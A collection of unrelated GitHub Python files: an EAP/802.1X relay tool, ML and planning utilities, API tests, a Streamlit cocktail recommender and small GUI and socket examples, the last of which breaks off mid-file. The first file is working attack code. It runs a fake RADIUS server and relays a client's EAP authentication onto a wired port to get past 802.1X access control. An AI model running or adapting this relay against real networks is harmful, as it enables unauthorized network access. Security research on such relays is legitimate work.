+{"seq_id":"71213794348","text":"#!/usr/bin/python\nfrom pyrad import dictionary, packet as pyrad_packet, server\nimport logging\nimport sys\n\n# suppress warning during scapy import\nimport warnings\nfrom cryptography.utils import CryptographyDeprecationWarning\nwarnings.filterwarnings(\"ignore\", category=CryptographyDeprecationWarning)\n\nfrom scapy.all import *\n\nimport threading\nimport argparse\n\nparser = argparse.ArgumentParser(description='EAP mirror')\nparser.add_argument('interface', type=str, help='wired interface name')\nparser.add_argument('mac_address', type=str, help='wired interface mac address')\nargs = parser.parse_args()\n\niface = args.interface\nmy_mac = args.mac_address\n\nEAP_MAC = '01:80:c2:00:00:03' # Nearest-non-TPMR-bridge \n\n# TODO make logging to stdout colorful\n\nradius_logger = logging.getLogger('radius')\nwire_logger = logging.getLogger('wire')\n\nformatter = logging.Formatter(\"%(asctime)s [%(levelname)s] %(message)s\")\n\nstdout_handler = logging.StreamHandler(stream=sys.stdout)\nstdout_handler.setFormatter(formatter)\n\nradius_handler = logging.FileHandler(filename=\"radius.log\")\nradius_handler.setFormatter(formatter)\n\nradius_logger.addHandler(stdout_handler)\nradius_logger.addHandler(radius_handler)\nradius_logger.setLevel('DEBUG')\n\nwire_handler = logging.FileHandler(filename=\"wire.log\")\nwire_handler.setFormatter(formatter)\n\nwire_logger.addHandler(stdout_handler)\nwire_logger.addHandler(wire_handler)\nwire_logger.setLevel('DEBUG')\n\nclient = None\n\n\"\"\"\nState machine for client:\n\n0: need to send EAP-start -> 1\n1: sended EAP-start -> 2\n2: means two things: (transparent proxying)\n first: \n recieved response after EAP-start, (typically identity request),\n this state is needed to replay client's first packet: identity response\n second:\n replay client's packet\n\n in both cases answer from this state will be transmitted to AP -> 3\n\n3: waiting for data from wire -> 4 (when received packet)\n4: not ready to receive any more packets on wire -> 2 (when ready, on packet from client)\n\"\"\"\n\nclass ClientState():\n def __init__(self, client_mac):\n self.lock = threading.Lock()\n self.state = 0 \n self.eap_ap_id = None\n self.eap_wire_id = None\n self.mac = client_mac\n self.data_to_send = b''\n\n def sendp(self, pkt):\n wire_logger.info(f\"Sending data to wire, state {self.state}, len {len(pkt[Ether])}\")\n sendp(pkt, iface=iface)\n\n def eapol_start_wire(self):\n self.lock.acquire() \n\n if self.state != 0:\n wire_logger.error(\"Not in the initial state, yet trying to initiate EAP!\")\n wire_logger.error(\"Client MAC: \" + self.mac + \", state: \" + self.state)\n return\n\n self.state = 1\n wire_logger.info(\"Sending EAP-start\")\n\n new_pkt = Ether(src=my_mac, dst=EAP_MAC , type=0x888e)\n new_pkt = new_pkt/EAPOL(version='802.1X-2001', type=1)\n self.sendp(new_pkt)\n\n def send_eap_to_wire(self, eap_bytes: bytes):\n new_pkt = Ether(src=my_mac, dst=EAP_MAC, type=0x888e)\n new_pkt = new_pkt/EAPOL(version='802.1X-2004')/EAP(eap_bytes)\n new_pkt[EAP].id = self.eap_wire_id\n\n self.sendp(new_pkt)\n\n def handle_packet_from_ap(self, eap_bytes: bytes) -> bytes:\n pkt = EAP(eap_bytes)\n if self.eap_ap_id is not None and self.eap_ap_id == pkt.id:\n # received a duplicate request\n # https://www.rfc-editor.org/rfc/rfc2865.html#page-14\n return None\n\n if self.state == 0: # need to perform introduction on wire\n wire_logger.info(\"Attempting to send Start-EAP\")\n self.eapol_start_wire()\n\n self.lock.acquire() # blocks if we initiated Start-EAP and prevents race conditions\n\n if self.state == 4:\n self.state = 2 # stop discarding packets, as we intend to relay something\n\n if self.state == 2: # relay after skipping a packet\n self.state = 3\n self.send_eap_to_wire(eap_bytes)\n self.lock.acquire() \n\n self.eap_ap_id = pkt.id\n pkt_res = EAP(self.data_to_send)\n pkt_res.id = (self.eap_ap_id + 1) % 0x100 # TODO: verify overflow handling\n\n self.lock.release()\n\n return bytes(pkt_res)\n\n wire_logger.error(f\"Arrived to unexpected state: {self.state}! Replaying previous data\")\n return self.data_to_send\n\n def handle_packet_from_wire(self, pkt: Ether) -> None:\n if self.state == 1: # Waiting for response on Start-EAP\n if not (pkt[EAP].code == 1 and pkt[EAP].type == 1):\n wire_logger.warning(f\"Response to Start-EAP has unexpected type: {pkt[EAP].type}\") \n self.state = 2\n wire_logger.info(f\"EAP server found, {pkt[Ether].src}\")\n self.eap_wire_id = pkt[EAP].id\n self.lock.release()\n return\n elif self.state == 3: # await response from relaying\n self.state = 4 # do not expect any packets \n self.eap_wire_id = pkt[EAP].id\n self.data_to_send = bytes(pkt[EAP])\n self.lock.release()\n return\n elif self.state == 4: # discard everything\n return\n\ndef split_to_chunks(array, size):\n return [array[i:i+size] for i in range(0,len(array),size)]\n\nclass FakeServer(server.Server):\n def HandleAuthPacket(self, pkt):\n global client\n\n client_mac = pkt.get('Calling-Station-Id')[0].replace('-', ':')\n\n radius_logger.info(f\"Received Radius Authentication packet for {client_mac} client\")\n\n if client is None:\n radius_logger.info(f\"Adding a new client: {client_mac}\")\n client = ClientState(client_mac)\n first_client = client_mac\n elif client.mac != client_mac:\n radius_logger.error(\"Can't support more than 1 client! Consider restarting\")\n return # ignoring, might receive a lot of duplicate requests from hostapd\n\n eap_incoming = b''.join(map(lambda x: x if isinstance(x, bytes) else x.encode(), pkt.get('EAP-Message')))\n\n eap_outgoing = client.handle_packet_from_ap(eap_incoming)\n if eap_outgoing is None: # duplicate request detected\n radius_logger.info(\"Discarded duplicate request\")\n return\n\n eap_outgoing = split_to_chunks(eap_outgoing, 253)\n\n attrs = {\n \"EAP-Message\": eap_outgoing\n }\n if not pkt.get('State') is None:\n attrs['State'] = pkt.get('State')\n reply = self.CreateReplyPacket(pkt, **attrs)\n reply.add_message_authenticator()\n reply.code = pyrad_packet.AccessChallenge\n\n radius_logger.info(f\"Responding with Radius AccessChallenge packet for {client_mac} client\")\n\n self.SendReplyPacket(pkt.fd, reply)\n\n def HandleAcctPacket(self, pkt):\n radius_logger.warning(\"Received an accounting request, this request will be ignored:\")\n for attr in pkt.keys():\n radius_logger.warning(\"\\t%s: %s\" % (attr, pkt[attr]))\n\n def HandleDisconnectPacket(self, pkt):\n radius_logger.warning(\"Received an disconnect request:\")\n for attr in pkt.keys():\n radius_logger.warning(\"\\t%s: %s\" % (attr, pkt[attr]))\n\n reply = self.CreateReplyPacket(pkt)\n # COA NAK\n reply.code = 45\n self.SendReplyPacket(pkt.fd, reply)\n\n def Run(self):\n radius_logger.info(\"Starting radius\")\n super().Run()\n \n\nclass Sniffer():\n def handle_pkt(self, pkt):\n global client\n # Ignoring packets not meant for us:\n if not pkt.haslayer(Ether) or pkt[Ether].src == my_mac or client is None:\n return\n elif pkt[Ether].dst != my_mac and pkt[Ether].dst != EAP_MAC: # Mikrotik responds to Nearest-non-TPMR-bridge instead of our mac\n return\n\n if not pkt.haslayer(EAPOL):\n wire_logger.debug(f\"Recieved non-EAPOL packet from {pkt[Ether].src} discarding\")\n return\n elif not pkt.haslayer(EAP):\n wire_logger.warning(\"Got EAPOL, but not EAP, discarding\")\n return\n\n client.handle_packet_from_wire(pkt)\n\n \n def Run(self):\n wire_logger.info(\"Starting sniffer\")\n sniff(iface=iface, prn=self.handle_pkt)\n\n\nif __name__ == '__main__':\n radius = FakeServer(dict=dictionary.Dictionary(\"dicts/dictionary\"))\n\n radius.hosts[\"127.0.0.1\"] = server.RemoteHost(\"127.0.0.1\", b\"testing123\", \"localhost\")\n radius.BindToAddress(\"127.0.0.1\")\n\n sniffer = Sniffer()\n\n radius_thread = threading.Thread(target=radius.Run)\n sniffer_thread = threading.Thread(target=sniffer.Run)\n\n radius_thread.start()\n sniffer_thread.start()\n\n radius_thread.join()\n sniffer_thread.join()\n\n\n","repo_name":"klsecservices/eap-mirror","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":8702,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"34818013133","text":"import sys\n#import pandas as pd\n\n\nclass ParamReader:\n\n \"\"\"Reads and checks parameters file, handles logging\"\"\"\n\n def __init__(self, params_filename):\n self.params = self.__read_params(params_filename)\n self.check_params(['out'])\n self.log = self.params['out'] + '.log'\n with open(self.log, 'w') as f:\n f.writelines('Parameters file: ' + params_filename + '\\n')\n\n def __read_params(self, pfile):\n\n \"\"\"Reads paramaters file\"\"\"\n\n ps = {}\n f = open(pfile)\n for line in f.readlines():\n if (not line[0] == '#') and (len(line.strip()) > 0):\n tokens = line.strip().split('\\t')\n if not len(tokens) == 2:\n sys.exit('Exiting. Ensure parameters file comprises two ' +\n 'columns (tab separated)')\n ps[tokens[0]] = tokens[1]\n f.close()\n return ps\n\n def check_params(self, params_reqd):\n\n \"\"\"Checks for provided list of required parameters\"\"\"\n\n for param_reqd in params_reqd:\n if param_reqd not in self.params:\n sys.exit('Exiting. Ensure paramater \"' + param_reqd +\n '\" specified.')\n\n def interpret_params(self):\n\n \"\"\"Convert numeric parameters; populate defaults where needed\"\"\"\n\n defaulted = False\n\n if 'simple_mode' in self.params:\n if self.params['simple_mode'] in ['True', 'T', 'TRUE']:\n self.params['simple_mode'] = True\n elif self.params['simple_mode'] in ['False', 'F', 'FALSE']:\n self.params['simple_mode'] = False\n else:\n sys.exit('Exiting. Cannot interpret simple_mode parameter')\n else:\n self.params['simple_mode'] = True\n self.write_to_log('Simple mode defaults to True')\n defaulted = True\n\n if 'random_seed' in self.params:\n self.params['random_seed'] = int(self.params['random_seed'])\n else:\n self.params['random_seed'] = 0\n self.write_to_log('Random seed defaults to 0')\n defaulted = True\n\n if 'test_pc' in self.params:\n self.params['test_pc'] = float(self.params['test_pc'])\n else:\n self.params['test_pc'] = 0.3\n self.write_to_log('Test set percentage defaults to 0.3')\n defaulted = True\n\n if 'cv_folds' in self.params:\n tokens = self.params['cv_folds'].split(' ')\n if len(tokens) == 2:\n self.params['cv_folds'] = (int(tokens[0]), int(tokens[1]))\n else:\n self.params['cv_folds'] = (int(tokens[0]), 1)\n else:\n self.params['cv_folds'] = (5, 3)\n self.write_to_log('CV defaults to 5-fold repeated 3 times')\n defaulted = True\n\n if 'param_grid' in self.params:\n param_grid = {}\n tokens = self.params['param_grid'].split(' ')\n for token in tokens:\n param = token.split(':')\n if len(param) == 2:\n param_vals = param[1].split(',')\n param_vals = map(float, param_vals)\n param_grid[param[0]] = param_vals\n else:\n sys.exit('Exiting. param_grid is not correctly specified')\n self.params['param_grid'] = param_grid\n else:\n if self.params['model'] == 'logistic':\n grid = {'C': map(lambda x: 10 ** x, range(-5, 6))}\n elif self.params['model'] == 'SVC':\n grid = {'kernel': ['rbf'], 'C': [1, 10, 100, 1000],\n 'gamma': [0.001, 0.0001]}\n else:\n sys.exit('Exiting. No default parameter grid set for model')\n self.params['param_grid'] = grid\n self.write_to_log('For ' + self.params['model'] + ' model type, ' +\n 'param_grid defaults to ' +\n str(self.params['param_grid']))\n defaulted = True\n\n if defaulted:\n self.write_to_log('')\n\n def get_params(self):\n\n \"\"\"Makes parameters externally accessible\"\"\"\n\n return self.params\n\n def log_params(self):\n\n \"\"\"Writes out a list of parameters\"\"\"\n\n self.write_to_log('Parameters:')\n for param in self.params:\n self.write_to_log(' ' + param + ': ' + self.params[param])\n self.write_to_log('')\n\n def write_to_log(self, content='', pandas=False, gap=False):\n\n \"\"\"Writes to log file in a \"safe\" manner\"\"\"\n\n with open(self.log, 'a') as f:\n if pandas:\n f.writelines(content.to_string() + '\\n')\n else:\n f.writelines(str(content) + '\\n')\n\n if gap:\n f.writelines('\\n')\n","repo_name":"genomicdatascience/psopredict","sub_path":"paramreader.py","file_name":"paramreader.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15452127539","text":"'''\nCreated on Oct 20, 2013\n\n@author: Ofra\n'''\nfrom Action import Action\nfrom ActionLayer import ActionLayer\nfrom Pair import Pair\nfrom Proposition import Proposition\nfrom PropositionLayer import PropositionLayer\nfrom itertools import combinations\n\nclass RelaxedPlanGraph(object):\n '''\n A class for representing a level in the plan graph. For each level i, the PlanGraph consists of the actionLayer and propositionLayer at this level\n '''\n\n def __init__(self, level, independentActions):\n '''\n Constructor\n '''\n self.level = level\n self.independentActions = independentActions # a list of the independent actions (this would be the same at each level)\n self.actionLayer = ActionLayer()\n self.propositionLayer = PropositionLayer();\n\n def getPropositionLayer(self):\n return self.propositionLayer\n\n def setPropositionLayer(self, propLayer):\n self.propositionLayer = propLayer\n\n def getActionLayer(self):\n return self.actionLayer\n\n def setActionLayer(self, actionLayer):\n self.actionLayer = actionLayer\n\n\n def expand(self, previousLevel, allProps, allActions): # you can change the params the function takes if you like\n previousPropositionLayer = previousLevel.getPropositionLayer()\n newActionLayer = ActionLayer()\n \n for action in allActions:\n if previousPropositionLayer.allPrecondsInLayer(action):\n newActionLayer.addAction(action)\n self.actionLayer = newActionLayer\n \n newPropositionLayer = PropositionLayer()\n for prop in allProps:\n if newActionLayer.effectExists(prop):\n newPropositionLayer.addProposition(prop)\n # set new proposition layer\n self.setPropositionLayer(newPropositionLayer)","repo_name":"saagar/cs182","sub_path":"asst4/graphplan/RelaxedPlanGraph.py","file_name":"RelaxedPlanGraph.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22789242508","text":"\"\"\"Tests for content module\"\"\"\nfrom weather_forecast.content import (\n get_random_quote,\n get_weather_forecast,\n get_twitter_trends,\n get_wikipedia_article,\n)\n\n\ndef test_get_random_quote():\n \"\"\"Get random quote\"\"\"\n print(get_random_quote())\n\n\ndef test_get_weather_forecast():\n \"\"\"Check the forecast contains periods\"\"\"\n forecast = get_weather_forecast()\n for p in forecast[\"periods\"]:\n print(\n f\"date={p['timestamp']}| t={p['temp']} C\\N{DEGREE SIGN}| weather='{p['description']}'\"\n )\n\n\ndef test_get_twitter_trends():\n \"\"\"Receive the top 10 trends for Ukraine\"\"\"\n trends = get_twitter_trends()\n for t in trends[0:10]:\n print(f\"name: {t['name']} | url: {t['url']}\")\n\n\ndef test_get_wikipedia_article():\n \"\"\"Receive a random wiki article\"\"\"\n article = get_wikipedia_article()\n for k, v in article.items():\n print(f\"{k}: {v}\")\n","repo_name":"NikitaSer/linkedin_learning","sub_path":"weather_forecast/tests/test_content.py","file_name":"test_content.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"509667212","text":"#!/usr/bin/env python3\n\nimport socket \n\nHOST = '127.0.0.1'\nPORT = int (input('Enter the PORT number ot connect: '))\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.connect((HOST, PORT))\n data = input('Enter message: ')\n s.sendall(str.encode(data))\n data = s.recv(1024)\n\nprint(\"Received \", repr(data)[1:])\n","repo_name":"shashank-simha/CN-Lab","sub_path":"SocketProgramming/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33823469014","text":"from django.urls import reverse\n\n\nfrom rest_framework import status\nfrom rest_framework.test import APIClient, APITestCase\n\n\nclass TestGetZipCode(APITestCase):\n def setUp(self):\n self.client = APIClient()\n\n self.valid_zipcode = '30330330'\n self.invalid_zipcode = '30330580'\n self.invalid_long_zipcode = '123456789101'\n self.invalid_letter_zipcode = '30330-a78'\n\n self.correct_return = {\n \"cep\": \"30330330\",\n \"address\": \"Rua Campo Belo\",\n \"neighborhood\": \"São Pedro\",\n \"city\": \"Belo Horizonte\",\n \"state\": \"MG\"\n }\n\n def test_get_zipcode(self):\n url = reverse('getzipcode', args=[self.valid_zipcode])\n response = self.client.post(url)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_valid_zipcode_data_response(self):\n url = reverse('getzipcode', args=[self.valid_zipcode])\n response = self.client.post(url)\n self.assertEqual(response.json(), self.correct_return)\n\n def test_post_invalid_zipcode(self):\n url = reverse('getzipcode', args=[self.invalid_zipcode])\n response = self.client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_wrong_method_endpoint(self):\n url = reverse('getzipcode', args=[self.valid_zipcode])\n response = self.client.get(url)\n self.assertEqual(\n response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED\n )\n\n def test_invalid_long_zipcode(self):\n url = reverse('getzipcode', args=[self.invalid_long_zipcode])\n response = self.client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_invalid_letter_zipcode(self):\n url = reverse('getzipcode', args=[self.invalid_letter_zipcode])\n response = self.client.post(url)\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n","repo_name":"pythonbyte/zipcode-api","sub_path":"app/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13044017950","text":"#Imports\nimport streamlit as st\nfrom pyairtable import Table\nimport pandas as pd\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.neighbors import NearestNeighbors\nimport plotly.express as px\nimport streamlit.components.v1 as components\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn.cluster import KMeans\nfrom sklearn.neighbors import KNeighborsClassifier\nimport openai\n\n# Page Config\nst.set_page_config(page_title=\"Cocktail Recommendation\", layout=\"wide\")\n\n#APIs\napi = st.secrets[\"api\"]\nbase_id = st.secrets[\"base_id\"]\nopenai.api_key =st.secrets[\"openai_api\"]\n\n#OPENAI Prompt\nprompt = str(\"\"\"Here are the cocktail names and their recipes:\\n\nIngredients: 1.5 oz Mezcal, 1 oz Hibiscus Simple Syrup*, .5 oz Lime Juice, top Soda Water \nPreparation: *Hibiscus Simple Syrup a cup of dried hibiscus steeping for 30-40 min\nName: Flor de Amaras\t\n\nIngredients:\t2 oz Junipero Gin, .75 oz House-made Cranberry Syrup*, .5 oz Lemon Juice, .5 oz Cranberry Juice, .25 oz Lillet Blanc, 4 dash Forgery Earth Day Bitters, mist Laphroaig\t\nPreparation: *House-made Cranberry syrup: \\n-- 2 cups Fresh Cranberries\\n-- 1 cup Sugar\\n-- 1 cup Water\\n-- 2 Bay Leaves\\n-- .25 cup Pink Peppercorns\\n-- Half Serrano Chile\\n-- 4 Sprigs Fresh Rosemary\\n\\nAdd all ingredients to a pot and heat thoroughly. Simmer on low until cranberries cook down for 25 minutes. Strain and let cool.\nName: The Happy Place\n\nIngredients: 1500 ml BarSol Selecto Italia Pisco, 750 ml Lemon Juice, 750 ml Pineapple Gomme Syrup*, .5 oz Fee Bros Lemon Bitters, 1 float Old Vine Zin\t*Pineapple Gomme: \nPreparation: Mix equal parts (1.5 cups) gum arabic with water over high heat until it all mixes and then let cool for a bit. Then you're gonna make a sugar syrup with 2 parts sugar, 1 part water (4 cups water, 2 cups white granulated sugar) in the same manner over high heat until it mixes, and then add the gum syrup to the mix until everything dissolves and what you're left with is a thick gummy syrup that resembles a whole lot of baby batter. Then cut up 1.5 cups of pineapple chunks and add them to the punch, mix in\nName:Bon Voyage Pisco Punch\n\nIngredients: 1.5 oz BarSol Primero Quebranta Pisco, .75 oz Dry Vermouth, .5 oz St. Germain, .25 oz Pineapple Syrup*, 1 tbsp Vieux Pontarlier Absinthe Francaise Superieure\t\nPreparation: *Pineapple Syrup Equal parts pineapple blended with water and sugar and strained\nName: \tStill Life of a Pineapple\t\n\nIngredients: 1.25 oz Luxardo Maraschino Liqueur, 4 drops Acid phosphate, 2 oz BarSol Primero Quebranta Pisco, .75 oz Luxardo Amaro Abano, .25 oz Luxardo Fernet, 3 dashes Scrappy's Aromatic Bitters\nPreparation: 1st glass ingredients: Luxardo Maraschino, Acid Phosphate in 2nd glass ingredients: BarSol Quebranta Pisco, Luxardo Amaro Abano, Luxardo Fernet, Scrappy's Aromatic Bitters\nName: The Bittered Valley\t\n\nCreate an original creative name for the following cocktail:\n\n\"\"\")\n\n#Cached functions\n@st.cache\n### Initiating the open ai gpt-3\ndef get_response():\n return openai.Completion.create(\n model=\"text-davinci-002\",\n prompt = str(prompt+ \"\\n Ingredients:\\n\"+ingredients1+\"preparation:\\n\"+preparation1+\"Name: \"),\n temperature=0.9,\n max_tokens=5,\n top_p=1,\n frequency_penalty=1.5,\n presence_penalty=1.5\n )\n###Pulling up date from airtable\n@st.cache\ndef get_data():\n at = Table(api, base_id, 'Cocktails')\n data = at.all()\n return data\n###Creating a DataFrame\n@st.cache\ndef to_df(data):\n airtable_rows = [] \n for record in data:\n airtable_rows.append(record['fields'])\n return pd.DataFrame(airtable_rows)\n\n#Title\ntitle = \"Cocktail Recommendation Engine\"\nst.title(title)\n\n#Initialization\nwith st.spinner('Fetching Data..'):\n df = to_df(get_data())\n df = df.set_index(['Field 1'])\n df = df.sort_index()\n flavors = ['Sweet', 'Sour', 'Bitter', 'Salty', 'Astringent','Liqueur']\n alcohol_types = ['Absinthe', 'Brandy', 'Champagne', 'Gin', 'Mezcal', 'Pisco', 'Rum', 'Sambuca', 'Tequilla', 'Vodka', 'Whiskey', 'Wine','Scotch','With Liqueur']\n\n\n \n###Main screen\nst.write(\"This is the place where you can customize what you want to drink to based on genre and several key cocktail features. Try playing around with different settings and try cocktails recommended by my system!\")\nst.markdown(\"##\")\nwith st.container():\n col1, col2 = st.columns(2)\n with col2:\n st.markdown(\"***Choose your Flavor:***\")\n flavor = st.multiselect(\n \"\",\n flavors)\n with col1:\n st.markdown(\"***Choose features to include:***\")\n alcohol_type = st.multiselect(\n 'Select the alcohols you enjoy',\n alcohol_types\n )\n features = pd.DataFrame()\n for word in alcohol_types:\n if word in alcohol_type:\n features.loc[0,word] = 1\n else:\n features.loc[0,word] = 0\n for word in flavors:\n if word in flavor:\n features.loc[0,word] = 1\n else:\n features.loc[0,word] = 0 \n\n\n#Algorithm\nif st.checkbox('RUN'): \n with st.spinner('Building an Algorithm, beep bop..'):\n train_df = df.loc[:,'Sweet':'Pisco']\n pca = PCA(n_components = 12)\n reduced_df = pca.fit_transform(train_df)\n Kmeans = KMeans(n_clusters = 49)\n Kmeans.fit(reduced_df)\n mydict = {i: np.where(Kmeans.labels_ == i)[0] for i in range(Kmeans.n_clusters)} # !! Get the indices of the points for each corresponding cluster\n\n ## Assign the clusters to cocktails\n df['Cluster'] = 0\n for row in df.index:\n for key, items in mydict.items():\n if row in items:\n df['Cluster'][row] = key\n #Train test split \n X = df.loc[:,'Sweet':'Pisco']\n y = df.loc[:,'Cluster']\n X_train, X_test, y_train, y_test = train_test_split(X, y,stratify=y, test_size=0.75, random_state=42)\n\n #Training the classifier\n mlpc = MLPClassifier(activation= 'identity', hidden_layer_sizes= 100, learning_rate= 'adaptive', solver= 'lbfgs')\n mlpc.fit(X_train,y_train)\n df = df.append(features, ignore_index=True)\n predicted_cluster = mlpc.predict(df.loc[df.index[-1]:,'Sweet':'Pisco'])\n\n #Results returned\n col3 = st.columns(2)\n st.header('Cocktails you might enjoy:')\n st.write(\"#\"*150)\n for index, i in df[df['Cluster']==predicted_cluster[0]].iterrows():\n if str(i['Cocktail Name']) == '' or pd.isnull(i['Cocktail Name']):\n st.subheader('Cocktail Name:')\n response = get_response()\n st.write(response.choices[0].text)\n else:\n st.header('Cocktail Name:')\n st.write(i['Cocktail Name'])\n st.subheader('Ingredients: ')\n st.text(i['Ingredients'])\n st.subheader('Preparation:')\n st.text(i['Preparation'])\n st.write(\"#\"*150)\n \n\n","repo_name":"antonvice/Cocktail-Recommendation-Engine-st","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13206421387","text":"import tkinter as tk\r\n\r\n\r\nclass StartPage(tk.Frame):\r\n def __init__(self, parent, controller):\r\n tk.Frame.__init__(self, parent)\r\n self.controller = controller\r\n l1 = tk.Label(self, text=\"Vibr.IO\", font=(None, 32), pady=50)\r\n l1.pack()\r\n\r\n h = 5\r\n w = 30\r\n\r\n btn1 = tk.Button(self, text='Growth Model', command=lambda: controller.show_frame(\"ModelPage\"))\r\n btn1.config(height=h, width=w)\r\n btn1.pack(pady=50)\r\n\r\n btn2 = tk.Button(self, text='About Us', command=lambda: controller.show_frame(\"AboutUsPage\"))\r\n btn2.pack(pady=50)\r\n btn2.config(height=h, width=w)\r\n\r\n btn3 = tk.Button(self, text='Exit', command=lambda: self.controller.destroy())\r\n btn3.pack(pady=50)\r\n btn3.config(height=h, width=w)\r\n\r\n","repo_name":"charosa-umn/Vibr.IO","sub_path":"start_page.py","file_name":"start_page.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10588373504","text":"import matplotlib.pyplot as plt\n\n\"\"\"\nFigura: il contenitore principale\nAxes: il grafico (o i grafici) contenuto nella figura \nAxis: gli assi specifici di un grafico\"\"\"\n\n# Contenitore principale\nfig, _ = plt.subplots()\ntype(fig)\n\n# Seleziono il grafico attivo contenuto nella figura\ngraph = fig.gca() # Get Current Axes\ntype(graph)\n\n# Prendiamo tutti i grafici disponibili\ngraph_list = fig.get_axes()\ntype(graph_list)\n\n# Disegniamo il grafico\ngraph.plot([1, 2, 3])\n\nplt.show() # matplotlib.pytplot.show per gestire finestra\nfig.savefig('name.png') # per salvare immagine su file\n\n\n\n\n\n\n","repo_name":"flarosa77/python-get-started","sub_path":"samples/PyPlotExample.py","file_name":"PyPlotExample.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"it","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"34620591400","text":"import tensorflow as tf\nfrom tensorflow.keras import layers, models\nfrom xtructure.bases import BaseModel\n\nfrom xtructure.utils import rmsd_sqr, rmsd_sqr_bonds, rmsd_exp_bonds\n\n\nclass Model(BaseModel):\n def __init__(self, config):\n super().__init__(config)\n network_config = config['network']\n\n self.cnns = [\n layers.Dropout(x)\n if type(x) == float\n else layers.Conv1D(x[0], x[1], activation='relu')\n for x in network_config['cnns']\n ]\n self.flatten = layers.Flatten()\n self.denses = [\n layers.Dense(size, activation='relu')\n for size in network_config['denses']\n ]\n self.num_atoms = network_config['num-atoms']\n self.final_dense = layers.Dense(3 * self.num_atoms)\n self.bonds = None\n\n def call(self, input_iam, _input_atomic_numbers, bonds, training=False):\n self.set_bonds(bonds)\n # batch_size x iam_length x 1\n x = input_iam[:, :, None]\n for cnn in self.cnns:\n x = cnn(x, training=training)\n # batch_size x (cnn_size*n)\n x = self.flatten(x)\n # batch_size x rnn_size\n for dense in self.denses:\n x = dense(x)\n preds = self.final_dense(x)\n preds = tf.reshape(preds, [-1, self.num_atoms, 3])\n return preds - tf.reduce_mean(preds, axis=1)[:, None, :]\n\n # return tf.reduce_mean(rmsd_sqr(preds, coords))\n","repo_name":"sunoru/Xtructure","sub_path":"xtructure/cnn/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18940393043","text":"import transaction\nfrom nose.tools import assert_true, eq_\nfrom tagger.tests import TestController\nfrom tagger.model import DBSession, Language\n\n\nclass TestLanguageController(TestController):\n \"\"\"Tests for the methods in the language controller.\"\"\"\n\n def _fill_db(self):\n language = Language(u'xx', u'test language')\n DBSession.add(language)\n DBSession.flush()\n languageid = language.id\n transaction.commit()\n return languageid.encode()\n\n def test_get_all(self):\n \"\"\"controllers.language.Controller.get_all is working properly\"\"\"\n languageid = self._fill_db()\n\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.get('/language', extra_environ=environ, status=200)\n\n def test_get_one(self):\n \"\"\"controllers.language.Controller.get_one is working properly\"\"\"\n languageid = self._fill_db()\n\n response = self.app.get('/language/%s' % languageid)\n \n expected = ('
    \\n'\n '
    xx
    \\n'\n '
    test language
    \\n'\n '
    '\n )\n\n eq_(str(response.html.find(id='content_with_side')), expected)\n\n def test_new(self):\n \"\"\"controllers.language.Controller.new is working properly\"\"\"\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.get('/language/new',\n extra_environ=environ, status=200)\n \n eq_(response.html.form['action'], u'/language/')\n eq_(response.html.form['method'], u'post')\n assert_true(response.html.find('input', {'id': 'languageid'}),\n '\"language_id\" input element not found')\n assert_true(response.html.find('input', {'id': 'name'}),\n '\"name\" input element not found')\n\n def test_post(self):\n \"\"\"controllers.language.Controller.post is working properly\"\"\"\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.post('/language/',\n dict(languageid='xx',\n name='test language',\n ),\n extra_environ=environ, status=200)\n assert_true('parent.location = \"/admin/language/\";' in response.body,\n 'should be redirected to \"/admin/language/\" via javascript')\n\n cat = DBSession().query(Language).get(u'xx')\n eq_(cat.name, 'test language')\n\n def test_edit(self):\n \"\"\"controllers.language.Controller.edit is working properly\"\"\"\n languageid = self._fill_db()\n\n environ = {'REMOTE_USER': 'test_admin'}\n response = self.app.get('/language/%s/edit' % languageid,\n extra_environ=environ, status=200)\n \n eq_(response.html.form['action'], u'/language/')\n eq_(response.html.form['method'], u'post')\n assert_true(response.html.find('input',\n {'name': '_method', 'value': 'PUT'}),\n '\"_method\" should be \"PUT\"')\n assert_true(response.html.find('input',\n {'name': 'languageid', 'value': languageid}),\n 'wrong language_id')\n eq_(response.html.find('input', {'id': 'name'})['value'],\n u'test language')\n\n def test_put(self):\n \"\"\"controllers.language.Controller.put is working properly\"\"\"\n languageid 